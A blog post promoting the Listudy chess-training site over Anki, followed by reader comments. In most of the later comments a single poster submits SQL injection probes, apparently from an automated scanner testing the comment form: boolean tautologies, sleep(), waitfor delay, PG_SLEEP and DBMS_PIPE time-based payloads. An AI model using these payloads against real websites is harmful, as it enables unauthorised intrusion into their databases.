Anki Chess
Gemaakt in: 2020-08-03 ; Laatste update: 2020-12-27
Many people (ab)use Anki for spaced repetition chess training. In this post I want to explain why I think Listudy is a better alternative.
Try out: Learn openings with Listudy.
Prior Art
Here is a list of different techniques used so far to use Anki for chess and why I think they are not optimal.
Anki Addon: PGN Chess Flashcards
This Plugin has been created by u/nukeychess on reddit: https://ankiweb.net/shared/info/340753088
They uploaded a video of the addon in action: https://streamable.com/k6d77
This is a pretty good implementation. Moves can be played dynamically. But unfortunately this addon is not usable for the latest versions of Anki.
Static Images of Positions
This has been created by u/AsymmetricWarfare on reddit: building_an_opening_repertoire_using_anki
Here is a image of the system in action: https://i.imgur.com/9gAfMSX.png
Another implementation is used here: https://ankiweb.net/shared/info/1413734466
This system has the disadvantage that moves cannot be played dynamically. In my opinion this makes learning less enjoyable.
Why Listudy is better
Before I explain why Listudy is better I would like to explain briefly what Listudy is. On Listudy you can upload PGN files or import them from Lichess. These PGN files can then be used in “studies” to learn positions using spaced repetition. This is the same system that Anki uses. In this way tactics, endgames and openings can be learned.
Now that we all know what Listudy is I would like to explain why I think Listudy is more suitable for chess training than Anki.
- Listudy is specially designed for chess training. The training is exactly adapted to the way chess positions develop. Not only one position is tested but whole lines of moves.
- Creating positions is more efficient. A whole series of positions can be created by simply creating PGN files in your favorite program for it. This is easier than entering each position by hand in Anki.
- Learning of positions on Listudy is done by playing against the PGN. In the beginning you will be shown what the optimal moves are and after the beginning you play against the PGN and you have to find the optimal moves. This playful learning helps to learn the reasoning behind positions and not to learn random snapshots of positions.
Conclusion
I firmly believe that Listudy is better for studying chess than Anki. Listudy is especially designed for chess and therefore has many big and small optimizations that are not possible in Anki.
Try out: Learn openings with Listudy.
BackComments
Hi Thanks for making this amazing website Great work One thing I wanted to ask is that how to create chapters for eg when I use lichess study link it creates different chapters but if I use my PGN it is not creating chapters Thanks
by: honi
Chapters are created automatically if there are multiple games in a PGN.
by: Arne
discovered this website a few hours ago and I love it. I've been waiting for something like for two years. And I agree about Anki.
by: oussama1
I have been looking for this for about a year and I vaguely remember discovering the old listudy long ago (which was not good enough TBH). The new version looks amazing. All the best!
by: montri
Hi! I cannot see the spaced repetition aspect of this, where does it tell you when you are due for a repetition? -Raum
by: Fernsage
Perhaps I'm missing something, but like Fernsage, I don't see where is the spaced-repetition part on this site
by: chimera
Viis48UH
by: kEMlzpAX
-1 OR 2+442-442-1=0+0+0+1 --
by: kEMlzpAX
-1 OR 2+518-518-1=0+0+0+1
by: kEMlzpAX
-1' OR 2+894-894-1=0+0+0+1 --
by: kEMlzpAX
-1' OR 2+501-501-1=0+0+0+1 or '9pPQKhUu'='
by: kEMlzpAX
-1" OR 2+898-898-1=0+0+0+1 --
by: kEMlzpAX
*if(now()=sysdate(),sleep(15),0)
by: kEMlzpAX
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
by: kEMlzpAX
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
by: kEMlzpAX
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
by: kEMlzpAX
-1; waitfor delay '0:0:15' --
by: kEMlzpAX
-1); waitfor delay '0:0:15' --
by: kEMlzpAX
-1 waitfor delay '0:0:15' --
by: kEMlzpAX
tvBxz9Pt'; waitfor delay '0:0:15' --
by: kEMlzpAX
-1 OR 469=(SELECT 469 FROM PG_SLEEP(15))--
by: kEMlzpAX
-1) OR 288=(SELECT 288 FROM PG_SLEEP(15))--
by: kEMlzpAX
-1)) OR 110=(SELECT 110 FROM PG_SLEEP(15))--
by: kEMlzpAX
o7gcInPp' OR 58=(SELECT 58 FROM PG_SLEEP(15))--
by: kEMlzpAX
fywR6TC0') OR 205=(SELECT 205 FROM PG_SLEEP(15))--
by: kEMlzpAX
X4Rvd026')) OR 286=(SELECT 286 FROM PG_SLEEP(15))--
by: kEMlzpAX
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
by: kEMlzpAX
Register to comment